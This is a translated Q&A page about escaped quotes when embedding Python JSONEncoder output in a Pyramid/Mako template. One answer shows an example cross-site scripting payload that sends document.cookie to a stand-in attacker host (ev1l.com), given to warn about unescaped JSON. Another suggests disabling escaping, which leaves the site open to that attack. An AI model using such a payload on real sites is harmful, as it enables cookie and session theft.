【问题标题】:" appears in JSONEncoder output, input is Python list of strings" 出现在 JSONEncoder 输出中,输入是 Python 字符串列表
【发布时间】:2013-08-06 10:06:47
【问题描述】:

我正在读取一个文本文件,将其拆分为 \n 并将结果放入 Python 列表中。

然后我使用 JSONEncoder().encode(mylist),但结果在生成 javascript 时会引发错误:

var jslist = ["List item 1", "List item 2"]

我猜切换到单引号会解决这个问题,但目前还不清楚如何强制 JSONEncoder/python 使用其中一个。

更新:上下文是一个金字塔应用程序,这里是函数的结尾(components是列表的名称:

return {'components': JSONEncoder().encode(components)}

然后在mako模板中:

var components = ${components};

如上所替换。

【问题讨论】:

  • JSONEncoder 不这样做,很可能你得到的结果输出是转义特殊字符。你要把它传递给什么?
  • 更新了 Pyramid/Mako 细节。

标签: python json pyramid python-2.6 mako


【解决方案1】:

如果您将 JSON 嵌入 HTML 页面,请注意。由于 Mako 不知道脚本标签,所以它继续使用标准转义符来转义字符串。但是 <script> 标签有不同的转义规则。值得注意的是,如果 JSON 包含用户生成的数据,不转义会使您的站点容易受到跨站点脚本攻击。考虑用户可编辑字段(user.name)中的以下信息

 user.name = "</script><script language='javascript'>" +
     "document.write('<img src=\'http://ev1l.com/stealcookies/?'" +
     "+ document.cookie + '/>');</script><script language='vbscript'>"

唉,Python JSON 编码器没有安全编码 JSON 的选项,因此它 可嵌入 HTML - 甚至是 Javascript(已在 Python 错误数据库中输入了一个错误)。同时您应该使用ensure_ascii=True + 将所有'&lt;' 替换为'\\u003c',以避免被恶意用户入侵。

【讨论】:

    【解决方案2】:

    mako 正在转义你的字符串,因为它在大多数情况下是一个正常的默认值。您可以根据具体情况关闭转义:

    ${components | n}

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多